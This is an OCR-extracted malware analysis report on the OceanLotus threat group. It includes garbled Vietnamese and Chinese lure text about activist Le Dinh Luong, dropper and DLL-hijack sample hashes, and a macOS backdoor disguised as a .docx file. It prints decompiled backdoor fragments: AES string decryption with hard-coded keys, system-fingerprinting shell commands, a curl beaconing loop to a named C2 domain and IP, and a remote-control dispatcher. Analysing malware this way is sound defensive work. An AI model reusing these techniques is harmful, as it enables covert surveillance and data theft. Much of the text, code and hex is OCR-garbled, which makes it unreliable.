gay 6 nhiém viing bién nay hdi nam 2016. Ong dong thai ciing 1a mét
dan oan bj BND x& Hop Thanh lam thu thug, phi néng nghiép nhiéu
nam nén éng da cuing ngudi dén trong xa chang lai bat cong.

Ong Luong bi bat vao ngay 24/7/2017 khi dang di xe mdy trén dudng
vé sau khi tham gia dinh ti1 nhan luong tam Nguyén Van Oai & gido xir
Yén Hoa, tinh Nghé An.

Nha hoat dong dan quyén Lé Binh Lugng bi ghép t6i “hoat dong nham
14t d8 chinh quyén nhan dan” theo digu 79 bd luat hinh su cii nam
1999

Trudce nhitng bat cdng, céc ban tré da dong loat do biéu ngir yéu cau
trd tw do cho Lé Dinh Luong va phan dai phién toa

Thuc hién k& hoach xét xir thang 8/2018, séng 16/8/2018, Toa én
nhan dan tinh Nghé An dua ra xét x(r so thdm vu an Lé Pinh Luong ve
16i “Hoat déng nh&m 14t d6 chinh quyén nhéan dan”.

T8 chic theo dai nhan quyén An X4 Quac T& vao ngay 15 thang 8 ra
théng cdo béo chi truée ngay du kién dién ra phién xr nha hoat déng
Lé Binh Luong tai tinh Nghé An. Phién xtr nha hoat dong Lé Binh
Luong du kién & dién ra tai Toa 4n Nhan dan tinh Nghé An vao ngay
16/8.

An X4 Quéc Té yéu cau Viét Nam phai htiy bd phién x(r cé déng co
chinh tri dGi v6i 6ng L& Pinh Lugng, mét nha hoat déng vi nhan quyén
va moéi truong tai Viét Nam

hongy & LeDih1
¢ quy a6 it Nam e

X NG g o]

LE DINH LUONG

Le Dinh Luong , tH4=F19564F , 2Vinh Hoa#([X , Ke DuaX#& ,
VinhEXNHXER, HBINTSIUENLSHT , ABUARERIS
%, BRiE JE2016555: EAMERERENEEE.
R hE—NEEE , fBfHop ThanhAHNARERSERSE
AUV | BRI A B A REBAATE,
Luong%c4T20174E7 5 24H7ENghe AngYen Hoa$tKFFH R/ OIENE
Nguyen Van OaifF , FEIR-RISEEI BRI .
RIB1999FBIERIBRIESE79% , RAUEFNRLe Dinh Luongiig

B SR ARTBEENEN .

ENARAIE , R A—SEKEESREMLe Dinh LuongHHiN & IR0
8

7E20185F8F , BI20185F8F16H LF , YR ARERISEEEA
BATEE0ESN" 98 , XdLe Dinh LuongZSe{4H—ERZ (it T T & ¥,
AHERR AT 8H 15BN & Le Dinh Luonghlisiisteay| HES
ZBURH T3RiERS. EIKLe Dinh LuongEIFRHEF8H 1687

N=ZBAREBHT.

EFRSAEAN RS A XS MR S5 Le Dinh Luongf
BoEF.

ERF ARl i3, (REREERE

TSRS BAEREMIRIGARIIAITES , Le Dinh Luong5E4EA 48
PFENESNEEEH, RIBEMSHARINGE , XE2—
A 7 . EIEEAJRELE |, Le Dinh Luong! AIRZED
TR

ETFigisE V& Le Dinh Luong 2 ATERIIE—FEE 2 BIFIESAIFF
RSN BAERENZA , EEERT AT,

525 HBEFNRLe Dinh Luong 2IZENNERESEE , TRRE M
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L. A randomly generated key encrypts one of

= its own global variables =
After being released to the Temp directory, N
E Set the value of the DB99050C
environment variable to a randomly generated key.
And execute the file Released-to the

Dropper File With %temp® directory after

Office icon modifying the global

varjable

2release the bundled Office files 3 read the random key from the pracess environment variable
And open Execute in memory after decrypting global variables
Decrypted PE

l
= &

Real Doc file released Decrypted PE

7.C2 communication
4, Release the following 3 files to
c\program files\microsoft\windows\system restore\, directory

i
i

i

i

5. by rundil32, _6read and decrypt the file,

! load this dll Executed in memory

1

i

i

[

rstruiexe {9FBAABB3-.. }.clsid {9FBAABE3-..}

A comparison between this version of Dropper and the 2015 version of Dropper:

1. The Dropper in 2015 is to pass the randomly generated decryption key through the
command line parameter, while the Dropper in this version is to pass the key through the
environment variables between the process chains (APl is SetEnvironmentVariableW
and GetEnvironmentVariableW).

2, the presence of the 2015 version of the detection virtual machine, this version does
not exist in the detection virtual machine.

The following figure is: Dropper version of OceanLotus in 2015 passes the key through "-

- ping" :

feif 24 “—ping+ LET ) CEEMEY + (M) + H87 07 EXK temp

A

o
-9

measet (B30, B, BITTLu);

swprintf_s(o o BADRBu, LWV plaglsitis”, & . W . B Yirs RS EHN Ll el o
N H

nraiet (& Jpheserved, 8, Sxvbe);

b = 48

-wikowitindow = @]

SO lags = 13
MProcess = W
Mikresd = 0
JAraceisld - 83
Jdwihresdid = 8

Createfrocessw( . L9, 0, 8, ExessBeStu, B, U, & . B yars hiTempid

-
gote LABEL_37;

The following figure is: in this Dropper version, the randomly generated key is stored in
the environment variable:
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= (LPCHSTR)&97;
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136 vs4 = *(v52 - 2);
137 *v5l = a@12345678%bcd[ (unsigned int)({unsigned _ int8)*(vs2
138 v55 = a@l2345678%abcd[vS4 & BxF];
139 v56 = (unsigned _ int8)*(vs2 - 1);
148 v51[1] = v55;
141 /51[2] = a@12345678%abcd[v5E 3> 4];
142 57 = a@l23456789%abcd[v5E & @xF];
14 v58 = (unsigned _ int8)*v52;
144 51[3] = vi7;
145 /51[4] = a@123456783%abcd[v5E >> 4];
148 v50 = aBl2345678%abcd[vSE & BxF];
147 58 = (unsigned _ int8)ws2[1];
148 vS1[5] = v59;
149 /51[6] = aB12345678%abed[vED »> 4];
150 /51[7] = a@123456783abcd[ved & @xF];
151 51 += 8;
152 2 4= 43
154 }
15 while { w53 )3

Correlation Analysis

Trojan Samples

57 Tun_MultiByteloWidethar (1Nt )&lpvalle, Botring, BXFDESU);

58 I VBl = SetEn'-.-i'cn'rent"a’a'i%-.(L"DBQQBSEC", lpvalue) == @: I
if ( lpvalue != (LPCWSTR)&97 )

68 free{(void *)1pValue);

1 if (wvel )

- 2) »r 4];

Through the analysis of the general backdoor of OceanLotus, a large number of
homologous samples were found through the features in its code:

MD5

ac5f18f1c20901472d4708bd06a2d 191

221e9962c9e7da3646619ccc47338ee8

26ea45578e05040deb0cc46ea3103184

200033d043c13b88d121f2c1d8d2dfdf

9972111cc944d20c9b315fd56eb3a177

bf040c081ad1b051fdf3e8ba458d3a9c

6c2a8612c6511df2876bdb124c33d3e1

7dace8f91a35766e9¢c66dd6258552b02

€9093362a83b0e7672a161fd9ef9498a

Compile time
In the 2018-06-13 s,
11:33:33

In the 2018-06-25 s,
02:35:46

In the 2018-07-02 s,
02:11:55

In the 2018-07-09 s,
03:00:10

In the 2018-07-13 s,
03:48:03

In the 2018-07-23 s,
03:11:16

In the 2018-07-23 s,
04:50:51

In the 2018-07-23 s,
12:59:23

In the 2018-08-07 s,
03:12:39

The file

size

93184

93184

142336

2053632

142336

93184

93184

142336

92672
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Module
name

DlIHijack.

DLL

DlIHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DlIHijack.

DLL

DlIHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL
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38f9655¢72474b6c97dc9dbOb3609677

4bb4d19b42e74bd11459¢9358c1a6f01

f42611ac0ea2c66d9f27ae14706¢1b00

c28abdfe45590af0ef5c4e7a96d4b979

cfOb74fe79156694a2e3ea81e3bb1185

c78fd680494b505525d706¢c285d5ebce

77390c852addc3581d14acf06991982e

49e969a9312ee2ae63900271627607 3f

f5a2d93917cd5b119f82b52a0d62f4a93

6291eabf6a8c58cad6a04879b7ba229f

9a10292157ac3748212fb77769873f6¢

a406626173132c8bd6fe52672deache?

93c3d6cffdcb0a2f298441f130a920be

6b8fc8c9fe4f4efo0b2fcbcc0d24cfcO

1211dea7b68129d48513662e546c6e21

2f1f8142d479a1daf3cbd404c7c22f9f

0f877ad5464fcbb12e1c019adf7065cc

cab262b84dbd319f3df84f221e5¢c451f

07ff4f943b202f4e16¢c227679d9b598a

7a6ba3e26c86f3366f54414553c9d00a

A AR B R H
In the 2018-08-09 s,
10:11:58

In the 2018-08-13 s,
02:21:13

In the 2018-08-13 s,
08:46:56

In the 2018-08-15 s,
03:20:08

In the 2018-08-20 s,
02:12:34

In the 2018-08-20 s,
02:23:12

In the 2018-08-29 s,
03:20:46

In the 2018-08-29 s,
03:50:11

In the 2018-08-30 s,
08:22:15

In the 2018-09-04 s,
02:24:06

In the 2018-09-04 s,
02:42:21

In the 2018-09-06 s,
02:03:30

In the 2018-09-06 s,
08:01:41

In the 2018-09-10 s,
02:44:30

In the 2018-09-11 s,
03:06:50

In the 2018-09-17 s,
04:12:57

In the 2018-09-18 s,
02:24:47

In the 2018-09-18 s,
03:00:51

In the 2018-09-19 s,
02:01:04

In the 2018-09-24 s,
07:12:34

93184

168960

92672

92672

92672

92672

168960

93184

129536

92672

129536

92672

129536

119296

92672

111616

92672

111616

92672

93184
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DlIHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DlIHijack.

DLL

DlIHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DlIHijack.

DLL

DlIHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DlIHijack.

DLL

DlIHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL

DllHijack.

DLL
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518f52aabd9a059d181bfe864097091e

70a64ae401c0a5f091b5382dea2432df

d40b4277e0d417e2e0cff47458ddd62d

5f1bc795aa784f781d91acc97bec6644

305d992821740a9cbbda9b3a2b50a67c¢

7df61bc3a146fct56fe1bbd3c26ea8cO

3c04352¢c5230b8cbaa12f262dc01d335

41f717eda9bc37de6ea584597f60521f

db81a7e405822be63634001ec0503620

865a7e3cd87b5bc5feec9d61313f2944

aad445e7ffc5ce463996e5db13350c5b

9bcd0b2590c53e4c0ed5614b127¢c6ba7

7338852de96796d7f733123f04dd1ae9

906a6898d099eb50c570a4014c1760f5

a530410bca453c93b65d0de465c428e4

de409b2fe935ca61066908a92e80be29

2756b2f6basbcf811c8baced5e98b79f

MAC Backdoor

A AR B R H
In the 2018-09-25 s,
02:59:04

In the 2018-10-03 s,
04:17:51

In the 2018-10-09 s,
03:22:19

In the 2018-10-17 s,
08:02:50

In the 2018-10-22 s,
03:27:24

In the 2018-10-22 s,
03:34:11

In the 2018-11-14 s,
07:07:53

In the 2018-11-15 s,
02:03:44

In the 2018-11-28 s,
08:55:24

In the 2018-11-29 s,
02:21:27

In the 2018-11-29 s,
08:18:42

In the 2018-11-29 s,
09:25:15

In the 2018-12-04 s,
02:27:26

In the 2018-12-04 s,
04:31:45

In the 2018-12-06 s,
03:21:22

In the 2018-12-10 s,
04:03:20

In the 2018-12-10 s,
04:29:12

111616

111616

95232

209412

92672

113664

92672

92672

112128

92672

115712

112128

92672

115712

115712

115712

92672

DlIHijack.
DLL

DlIHijack.
DLL

DllHijack.
DLL

DllHijack.
DLL

DlIHijack.
DLL

DlIHijack.
DLL

DllHijack.
DLL

DllHijack.
DLL

DllHijack.
DLL

DlIHijack.
DLL

DlIHijack.
DLL

DllHijack.
DLL

DllHijack.
DLL

DllHijack.
DLL

DllHijack.
DLL

DlIHijack.
DLL

DllHijack.
DLL

In the previous chapter, we found that the resolved IP of C2:rio.imbandaad.com was
198.15.119.125.When we checked the IP again, we found that one of the domain

names, web.dalalepredaa.com, had been labeled as OceanLotus
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A AR B R H

E—g U tES el 198.15.119.125

198.15.119.125

IDCHEsS2E
-]
AP
LiEEZEE

z

ERS

1

BPE RS

ADUZ &E{é
Prre: Yousz:)

And through this domain name, we discovered a OceanLotus's newest MAC sample.

To disguised as a document, first of all, the sample will be in the folder name in docx d,
lowercase Roman numeral five hundred instead, to deceive users: Don khieu nai. d ocx

Windows looks like this:

» macpath bIDon khieu nai.docx !Contents 3

B

BB

23 Fob

\ MacOs

| Resources
L1 . Pkglnfo
L&l info.plist
|| Pkglnfo

| _CodeSignature

2005/1/19 14:00
2005/1/19 14:00
2019/5/7 14:30

2005/1/19 14:00
2005/1/19 14:00
2005/1/19 14:00

=
_PKGINFQ 32f%
QuickTime Prefe...

paty

1KkB
1KE
1KB

On the Macosx system is the office icon of the docx file, is actually a directory:

W

OO K

Don kKhieu nal.docx

" Don khieu nai.docx

H = EEREREE Q, Search

Marme ~  Date Modified Size Kind
v |_| Contents Yesterday, 11:30 PM -- Folde
v F_I _CodeSignature Yesterday, 11:30 PM - Folde
B CodeResources Jan 18, 2005, 10:00 PM 2 KB Unix
Info.plist Jan 18, 2005, 10:00 PM 874 bytes prope
v [0 MacOS Yesterday, 11:30 PM - Folde
B Don khieu nai Jan 18, 2005, 10:00 PM 7J0KB Unix ¢«
B Pkginfo Jan 18, 2005, 10:00 PM 8 bytes Unix «
v I"_I Resources Yesterday, 11:41 PM == Folde
B configureDefault.def Jan 18, 2005, 10:00 PM 5 KB Docul
"~ info.cns Jan 18, 2005, 10:00 PM 47 KB Apple
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Because iconFile in info.plist points to the iconFile of a doc, as shown below:

E] Info.plist X |

<{7xml version= 1.0 encoding= UIF-8 2>}

<!DOCTYPE plist PUBLIC "-//Apple//DID PLIST 1.0//EN"
"http://www. apple. com/DTDs/PropertrList-1.0.dtd">4
<plist version="1.0">}

{dict>L

ker>CFBundleExecutable</ker> 4
string>Don khieu nai</string>y
ker>CFBundlelconFiled/kev>

ing>l
ker>CFBundleldentifier{/ker>l

stringrinfo
>3

<

£

£

<

£

<string>com. apple. files</string>.
<{ker>CFBundleName< ker>.

<string>com. apple. files</string>y
<ker>CFBundlePackageTrpe</ker>i
{string>APPL{/string>y
<ker>CFBundleShortVersionString</ker>.
<string>l. 0¢/string>4

{
<

ker>CFBundleSupportedPlatforms{/ker>.

arramf

{string>Mac0SX¢/string>4
{/arrar>l
<ker>CFBundleVersion{/ker>l
{string>1. 0</string>4
<ker>LSMinimumSystemVersion</ker>l
{string>10.6</string>y
<key>LSUIElement</kev>l
<true/>y
{ker>»NSHumanReadableCoprright<{/ker>L
<string>Coprright © 2013 Apple. All rights reserved. </string>y

| | Resources
= [0 o0 | =~ £~
Cm
DO,
configureDefault.de . .
f info.icns

The following is the signature information of the sample, as shown in the figure:

Identifier = comn) apple) files+

Format=bundle with mach-o thin (x856_64)+

CodeDirectory v=20200 size=439 flags=0x0{none) hashes=15+3 location=embedded+
Hash type = shal size = 20+

CDHash f54c13237d538cd3d885062e11c306b01d858f = 80+
Signature size = 8522+

Authority=Developer |D Application: DAVID DOWELL (BSYHEWVDWRE)«
Authority = Developer ID Certification Authority+

Authority = Apple Root CA+«

Timestamp=5ep 13, 2018, 3:57:09 AM+

The Info. The plist entries = 11+

Teamldentifier = BSYHSVDVRE+

Sealed Resources version=2 rules=12 files=2+

Internal requirements count = 1 size = 208¢

After the sample is executed, three directories will be created in the Library directory:

LaunchAgents
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Media
Video

Install an application named LaunchAgents to start up:

media.agentd. plist

FLIST 1.@4f/EN" "http:/

agentd«/s

The application points to the mediaagentd program in the Video directory:

mediaagentd

At the same time, the previous directory was replaced by a real docx file, to achieve a
diversion:
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(@0 e

1+ || Courier New

A AR B R H

| | Don khieu nai.docx — Locked ~

< || Regular i ~| @l . B I U

qU3,a28  1b3,
983 =&

983 &7 we

AR 9e3faf 1

983 137 we

AR 9e3faf 1

983 137 we
AR ge34as g

203 & he
AR 9e3faf 1

983 37 we

The released mediaagentd program is shelled and will be loaded and executed in

lo I Iz I3 I5
963<dx  Ge¢,af AE % yy @Ae 903,25 e aw
A& gR3,sd«  §03<edT §B34s2x TO3 e ic, $3E 3]
AR ge3das Ti34as gizga— TE3<at 7i3 TEI<a«x

90c a« 903 «as 93 «a& Ae Ae 93,
<, 332 3] fA %, 85¢u <}

AR §e38af 9134a5  9i344T SE3<af Ti3<as  9&3<a«
03,45 93,4 90« a« 903 =45 993 .-af A Aé  9R3,

<, 538 3] fA w,5¢u ¢}

AR ge3qag  gi3das  §i34a ge3<as §i3<as  gé3<de
3,28  §B3,37 90c a« 903 a5 993 .as Ae Ae  9fl3,
203 & he <, 332 3] fA %, 85¢u <}

i3sa% gi34a geé3<at Fi3<as Té3<ax

qU3, a5 93,4 90 a« 903 =a5 923 .-af Ae A& 9A3,

<, 538 3] fA w,%¢u ¢}

AR ge3qap  gi3das  §i34a7 ge3<as §i3<as  gé3<de
3,28  §B3,37 90c a« 903 a5 993 .as Ae Ae  9fl3,
203 & he <, 332 3] fA %, 85¢u <}

i3sa% Ji34a geé3<at Fi3<as Té3<ax

qU3, a5 93,4 90 a« 903 =a5 923 .-af Ae A& 9A3,

<, 538 3] fA w,%¢u ¢}
13448 91344  ge3<ai  §i3<as  fadcie

903,45 Ip3,4” 90« a« 103 -as5  12p3 .af Ae Ae  IA3,

«,53E 3] fA %, 5cu ¢}
i34a% gi34as 9é3<at Ti3<as féd<d«

qU3, a5 93,4 90 a« 903 =a5 923 .-af Ae A& 9A3,

<, 538 3] fA w,5¢u ¢}

Te34a? Ti34a - Filda; Té3<a? TiZ<a - Té3<an
qU3,&-  9b3,ag Tlc a» 903 ea- 993 ea* Ae Ae 903,
903 s3; %é¢,$3E 3] «T$ & %2 br hz
Thc1H < N8
«t$ < |5 FR AFL Wl% ®AG
BES B[S <EF ¢ < <N £V

memory after decryption:

Téc, a8 K& %
sde T03<ed

Jae, a8 K& %
LET 03ced”

Tec,af K& % ¥¢  ghs

sdx 03«37 OB3L-dx
Tée, 25
LET TlEced

qac,2f A& % ¢ ghe
sdx T03<ea IB34ea«

Jec, 38 A& % §v  gAs
sdw G03<sdT 9B3ieax

Jae,a* A& %
*dn q03<ed;

int64 _usercall start@<rax>(_ int64 alfi<rbx>, _int64 a2@<rld>, _ int64 a3@<rs>, void (_fastcall *ad)(_QWol

unsigned int va; // ecx

unsigned int vé;
unsigned _ intls

1
2
3
4 unsigned __inte4 vs; // rax
5
6
7
8

11 edx
w7 /) rbx

__inté4 (_fastcall *vB)(_int64, _int64); // r15
char vie; // [rsptleh] [rbp-4@3eh]

9| __int64 savedregs; // [rsp+aessh] [rbp+eh]

16| void *retaddr; // [rsp+4@48h] [rbp+gh]

1

12| w4 = *(_DWORD *)(((unsigned _ inté4)start & @xFFFFFFFFFFFFOG0OLL) + 0x18);
13 if (va )

14| {

15 = (unsigned _int64)start & @xFFFFFFFFFFFFO@QOLL | @x20;

16 vE = 85

17 while ( *(_I ys 1= 25 || (o “)(v5 + 18) I= 6873460636892678476LL )
13 {

19 HUES

20 v *(unsigned int *)(v5s + 4);

21 if (vB >= vA )

22 goto LABEL_18;

23

24| V7 = *(unsigned _intl6 **)(v5 + 24);

25 a3 = (_intea)u7 + *v7;

26 a4 = (void (_fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD))(v7 + 1);
27 do

28 {

29 a2 = *((unsigned int *)u7 - 1);

30 V7= 2

31 }

320 while ( la2 )5

33 al = (_int6a)v7 - a2;

intea (_ fastcall *)(_ints4, _ inte4))sub_FO@O@BFD(al, a2,

(__ints4)&v10, @x4000LL, 3, a4, &savedregs);

B0
void *)

39| return[Va(al, 22);

(signed int)retaddr;

The unshelled MACOS file is as follows:

@ Hex ¥iew-1

20066001 00000000
2000600160000010
200660001 00000020
200660001 00000030
2000000100000040
2006600160600050
200660001 00000060
200660001 00000070
28006000100000080
200660001 00000096
2000018000804
28060001000000580
20060001 000000C0
20066001 00000000
280000016000000E0
20060001 00000010
200660001 600000160
200000016000001160
20066000100000126
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@0 G0 60 GO 01 0B @B @8 ©0 70 01 60 6B BB 6D [
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@7 @0 60 00 05 00 @D @0 03 00 @0 00 B0 0P 09 00
5F 5F 74 65 78 74 8@ G0 0P 00 00 00 90 08 08 00
5F 5F 54 45 53 54 9@ 0@ ©P 0P 00 00 90 90 08
o @A 60 00 01 00 @0 @0 Al OC @1 00 @0 00 09 00
Co @A 60 00 04 00 00 G0 ©0 00 00 0O 0O D 00 60
@0 64 G0 80 0O 00 G0 GO 00 00 @0 00 B0 0P 0O 00
5F 5F 73 74 75 62 73 @@ ©0 00 00 00 90 90 08
5F 5F 54 45 58 54 0@ 0@ ©° 00 00 00 90 00 08 @
62 17 @1 @@ @1 6@ 9@ @@ 53 02 00 00 90 90 08
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At the entrance of the file, there will be a while loop, which will collect computer
information and send it, enter the loop function of remote control, sleep for a random
period of time, and continue the repeated process:

1 _ noreturn sub_1

char *v2; //
size_t v3; // rax
__inte4 va; /f rax
unsigned int v5; // eax
int v6; // eax

5

~N @

w oo

fun_GetFileName(*z2);

2 = *al;

3 = strlen(*s2);

bzero(vz, vi);

sub_1@BBBFAES(v4);

while ( 1) /7 CurlsendInfo

Al el e
G R e

if ( fun_MainSendInfo() )
fun_MainLoopInfo();
vS = time(@LL);
srand(vs);
& = rand();
sleep(vé - 36 * (((unsigned _ int64)(@x38E3BE3OLL * vw6) »» 63) + (@x3BE3BE30LL * v6 »» 35)) + 1@);

PRI RS R R R
s ® oo

!

Many of the internal strings are encrypted. The following is where the encryption function
is used:

i xrefs to fun_DecodeStr l G |

Directii| Ty Address Text o
Up p  sub_1000033A04353 call fun_Decode3tr

Up p sub_100003E25+33 call  fun DecodeStr

Up p sub_100003EZS4ES call  fun DecodeStr

Up p sub_100004190+AF eall fun DecodeStr

Up p sub_100004130+1CF call fun_Decode3tr =
Up p  sub_1000044DE+AS call  fun DecodeStr

Up p  sub_100004TTO4SE call  fun DecodeStr

Up p sub_100004770+39 eall fun DecodeStr

Up p  sub_100004A4CH+ET call fun_Decode3tr

Up p sub_ 100005386459 call  fun DecodeStr

Up p sub_100005110+F3 call  fun DecodeStr

Up p sub_10000349445E eall fun DecodeStr

Up p sub_100005434+146 call fun_Decode3tr

Up p sub_100005434+22F call  fun DecodeStr

Up p sub_100008434+29D call  fun DecodeStr

Up p  sub_ 1000034344209 eall fun DecodeStr

Up p  sub_100005434+433 call fun_Decode3tr

Up p sub_10000SECE+10F call  fun DecodeStr =
Up p sub_10000SE16+4T fun_DecodeStr

Up p =ub_100003E16+CF fun DecodeStr

Up p  sub_10000900A+39 fun_DecodeStr

Up p sub_1000091BZ+4B fun_DecodeStr

Up p sub_10000F218+6E fun_DecodeStr

Up p =ub_10000F306+35 fun DecodeStr

Up p  sub_10000F40E+ST fun_DecodeStr

Up p sub_10000F4ES+2D fun_DecodeStr

E Up p fun CurlXXEE+15E fun DecodeStr

p fun Curl?22+AD fun_DecodeStr

E D p fun Curl?es+lal fun_DecodeStr

= D p fun Curl2e2+23s fun_DecodeStr -
=] D p  fun Curl3333+D8 fun DecodeStr N

| ==
[ 0K J [ Cancel ] [ Search ] [ Help
Line 33 of 39

The decryption method is mainly through CCCrypt, and the algorithm is aes, iv is 0, as
shown in the figure:

Bx3EBULL);
Full);

R, v7);
)" \XGE\XD5 \xBD AT XBF £ \n\xDA\ XSO\ FINFF L CB\XFE\xBAV"';

Bunk_160017308, dword_1066173E4, 8);

int6a al, _intss a2, _ int64 a3, unsigned int a4, unsigned _ints a5)

3
TEWXFAK 4

)5

UNKNO!

Tnterl

N *)(via - 2
ockedExchange

CCCrypt(a7 ~ 1u, BLL, 1LL, 826, 32LL, OLL, vi6, vi0, vi5, vi0 + 32, v23) )

std: :string::_Rep::_M d alloc(*v24, *023 + 1);
Streat (@

8)s
ORD *)™ +L7\XE

15+ *23) = 05

| (unsigned _ints)(a7 ~ 1)) )

har *)fun_Decodes
streat (8024, V11):
if ( )

26 = sub_10001085E((_intss
if (*vad)

free(uil);
return system(8124);

Free(*u);
=24 = oLL;

00002658 sub_100002795: 46 (1000

ing: :string(_QWORD, _QWORD, _Q
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AES encryption key (HEX) : 4 e620abedafb4d9866cc9d9c2d29e2d7eal8adf1 32-bit

A AR B R H

zero padding enough:

__data:

__data

__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:
__data:

The decrypted data is as follows:

0100014170
0x100014180
0100014160
0100014250
0:1000141 £0
02100014220
0:100014270
0100014290
0:100014260
010001420
0100014380
0100014850
02100014390
0:1000143b0
0x10001430
0210001430
010001440
0:100014900
010001450
01000145 £0
0:100014610
0x100014530
0:1000144b0
0x100014650
0:100014670
0100014500
0100014580
0100014840
0:100014860
0:100014840
02100014860
0:100014820
0100014840
0:100014860

And the information collected is encrypted by AES and sent through the CURL library:
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machdsp. cpu brand stringt

ifconfig "¢

“ | awk " fether f{print $2}' 4
ifeonfig -14

ifeonfig -14

enldli

+
/Systen/Library/CoreServices/SystenVersion plists
dstring>l

stringdt

Mac 03X 1

scutil —get ComputerNanes
uname “m

xB5_544

iorsg —rdl - T0FlatfornBxperthevice | svk ' /T0PLatforaWID/ { split@D, Line, “\"): print£("%s", line[d]): I+

re
hitp: /S
eurl /736,14
http:ffi
ewlfT.36.14
Jdev/nlle
http:ffe
curlfT.36. 1«

aeaopaaleaalysCa align 1@h
:BE200041800817308 unk 188817300 dﬂ 4Eh ; N
eeaaaaaleaal’3De
aaaaaaa18081 7301 db B2h ; b
aeaaoaalaealysD2 db 8&h
gpaaaaalaaal’ 303 db BBEh
gppaoaaleaalys0g db 8laih
aaaaeaa18081 7305 db @FBh
aeaaoaalaealy 306 db 4Dh ; M
gpaaaaalaaal 307 db  98h
apaaaaaleaal?sDa db 66h ; T
aaaaaaa18081 7309 db eCCh
aeaapaaleaaly DA db a90h
EBeeaaaaleeal 7 306 db  ach
apaaaaaleaal? 30C db  20h ; -
eaaapaaleaal /30D db  28h ; )
aeaaeaalaeals3DE db @EZh
Beaaaaaleeal7 3DF db 807h
epaaoaaleaal3Ee db BEAA
aaaaeaa1808173E1 db 18h
aeaaeaaleeals3E2 db @aADh
BEeaaaaleeal7 3E3 db @F1lh

touch -t o

:; fdev/milld

:;;;:v/nm & sleep ¢

+ kill 1 > fdew/oull 23814

2>/ dewf/rall s

’xii:::::oﬁhr SPHardwareDataType 2/dev/null | awk ‘/Processor / {split@0,line, ":"): printf("%s", line(2]):} ¢
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curl_easy_init();
4)

Cva

i
{
string((sfd‘ tring *)&15, al);

) \BC\XEl \xAA\de(\xM\xQE\xF?\xFi\xEF\xES\t\xBlp\xAl\xQB

(eonst char *)fun Decodestr((__inte4)&v21, 16LL, (_ints:)aunk 160017308, dword 100617362, 6);

if ( std::string: sFind((std:istring *)RvIS, v6, BLL, v7) == -1LL )

sub, 1mema((;+d

g *)av1a, v6, (std:istring T)Rvs);
td::1string )& 15, (const std:istring *)&vid);

if ( (_UNKNOWN *)(v14 - 24) != &std::string::_Rep::_S_empty_rep_storage
88 _InterlockedExchangeAdd((volatile signed  int32 *)(via - 8), @xFFFFFFFF) <= @ )

std:istring::_Rep::_M_destroy(vs, &18);

curl_easy setopt(v4, CURLOPT URL, v15);
curl_easy_setopt ‘CURLOPT_WRITEFUNCTION, sub_l@@@BFB9A);
curl_easy_setopt CURLOPT_FILE, &v15);
pt(v4, CURLOPT_TIMEOUT, *((_QWORD *)v2 + 1));
) ":|G\st\xcF\x43\xFB%\x19Rv\xcs\l;oF\xFl\xstx",

=9;
9 = (void “)fun DecodeStr((_int64)avis, 16LL, (_int64)Runk 160017300, dword 1006173E4, ©);
curl _easy_ setopt(v4, CURLOPT USERAGENT, v9);

o)

iF ( H((BYTE <)v2 + 24) )

curl_easy_setopt(v4, CURLOPT_COOKIE, *(( OWORD *)v2 + 2))3
V16 = curl_easy perform(va);
Y2+ 7) = *_error();

1 -3 % (((unsigned _ int64)(1431655766LL * vi1) >> 63) + ((unsigned _ int64)(1431655766LL * vi1) >> 32)) + 1);
url, _easy_perform(u4);
RD *)v2 + 7) = *_error();

if (V10 == CURLE_OK )

curl_easy_getinfo(v4, CURLINFO_RESPONSE_CODE, &v13);

The message distribution function of remote control is as follows: different operations will
be performed according to its own token in the first place. The following is the operation
of listing the directory:

698
699
768
761
702
783
704/
785
786
767
708
789
718
711
712
713
714/
715
716
717
718
719

i (a6 == et )
{

i
v5 = (char *)8v1s3;
pthread create(8vs
goto LABEL_165;

}

}
else if ( w26 == "#' || v26 = "¢' )

, 8153, sub_10600BCEB, vid);

1

v5 = (char *)&u153;

pthread_create(&vss, 8153, (void *(_cdecl *)(void *))sub 100008654, v24);// list dir
goto LABEL_165;

}
if ( *vas )
operator delete(®u45);
= (void *)(*v45 - 24LL);
if (w52 I= &stdi:string:: Rep::_S_empty rep storage
88 _InterlockedExchangeAdd((volatile signed _ int32 *)(*v45 - 8LL), @xFFFFFFFF) <= @ )
{

v5 = &v152;

The key used for data transmission is different from the key used for decryption string.
The following is the encryption key for data transmission:

07e74ff2ce9688c8f79b91ab32c95d11c140d3ac

__data:0ebopeeleeal73Fe unk_leee173Fe db 7
data: @pe0E001000173F0

: fun_MainSendInfot+Féto

_Mai nSendInfo+282t0

__data:@0e000018080173F1 db BE7h

_ data:@oee0eeleeal73F2 db 4Fh ; O

_ data:eee00e01000173F3 db @Fzh

__data:00000001000173F4 db @CEh

_ data:@ee00ee1e0173F5 db 96h

_ data:e0e00001000173F6 db 88h

__data:@pe00001800173F7 db @Csh

_ data:@eee0eeleeal7?3Fs db @F7h

_ data:eee00e01000173F9 db 9Bh

__data: 2000000100017 db 91h

_ data: 8000000100017 3F E db @ABh

_ data:eeeeee01000173FC db 32h ; 2

__data:@0e000018080173FD db @Cg9h

_ data:@oeeoeeloeal? db 5Dh ; ]

_ data:eee00e0l000173FF db 11h

__data:@000000100017408 db @Clh

__data:@oeeoeelecal74al db 4gh ; @

_ data:eeeopeeleeel7i02 db @D3h
data:0000080100017403 db @ACh

And some string decryption algorithms use base64 decryption first, then aes decrypt:

| int64 _ usercall si

, _inte4 a2@<rdi

__inté4 v3; // [rsp+eh]

std. str:.ng‘ istring(
a2,
"xJcHs54+0UuDh@zw2rElsyBoe8o0HwxgAt1nTON21mdg@Pnsefuqad69CeovGrGaibsy/a6Mhfan/IB/ERwFtI==
&v3);

return a2;
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38| 4 = strlen(v3);
const char *)fun_DecodeStr((__inte4)vi, w4, (__inté4)8unk_leeel73Da, q\mrd_lmlBE
char *)v5;
5); 1 meanz bazefd enceds
34| std::string::assign(this, vé, v7); 0 means not bazefd emcade

’_n:E%)‘Fun_EasEGAI(a'_, a2, &v2s);

58 }

51

